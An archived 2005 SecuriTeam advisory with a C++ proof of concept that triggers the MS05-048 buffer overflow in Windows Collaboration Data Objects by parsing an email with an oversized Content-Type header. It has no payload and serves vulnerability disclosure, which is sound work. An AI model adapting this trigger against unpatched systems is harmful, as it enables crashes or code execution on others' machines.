[EXPL] Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/17/05

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Date: 17 Oct 2005 10:06:15 +0200

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      Microsoft Collaboration Data Objects Buffer Overflow (Exploit, MS05-048)
    ------------------------------------------------------------------------

    SUMMARY

    A remote code execution vulnerability exists in Collaboration Data Objects
    that could allow an attacker who successfully exploited this vulnerability
    to take complete control of the affected system. Read more about this
    vulnerability <http://www.securiteam.com/windowsntfocus/6H00C0KEBK.html>
    here.

    The following is a proof of concept for the collaboration data objects
    vulnerability in Microsoft's Windows operating system (MS05-048).

    DETAILS

    Exploit:
    //
    // Microsoft CDO Proof of Concept Exploit by Gary O'leary-Steele <garyo at
    sec-1.com>
    //
    // Step 1.
    //
    // Create an E-mail named vuln.eml including a large "Content-Type:"
    header.
    //
    // Step 2.
    //
    // Compile with -GX option
    //

    #import <msado15.dll> no_namespace rename("EOF", "adoEOF")
    #import <cdosys.dll> rename_namespace("CDO")

    #include <stdio.h>

    int main()
    {

    CoInitialize(0);
    try
    {
    CDO::IMessagePtr spMsg(__uuidof(CDO::Message));
    _StreamPtr spStream(spMsg->GetStream());
    spStream->Position = 0;
    spStream->Type = adTypeBinary;
    spStream->LoadFromFile("vuln.eml");
    spStream->Flush();

    for(long i = 1; i <= spMsg->BodyPart->BodyParts->Count; i++)
    {
    CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
    _variant_t v =
    spBdy->Fields->Item["urn:schemas:mailheader:Content-Type"]->Value;
    }

    }
    catch(_com_error &e)
    {
    printf("COM error[0x%X, %s]\n", e.Error(),
    (LPCTSTR)e.Description());
    }
    catch(...)
    {
    printf("General exception\n");
    }

    CoUninitialize();

    return 0;
    }

    CDO::IBodyPartPtr spBdy = spMsg->BodyPart->BodyParts->Item[i];
    _variant_t v = spBdy ->Fields
    ->Item["urn:schemas:mailheader:Content-Type"] ->Value;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:garyo@sec-1.com> Gary
    O'leary-Steele.

    ========================================

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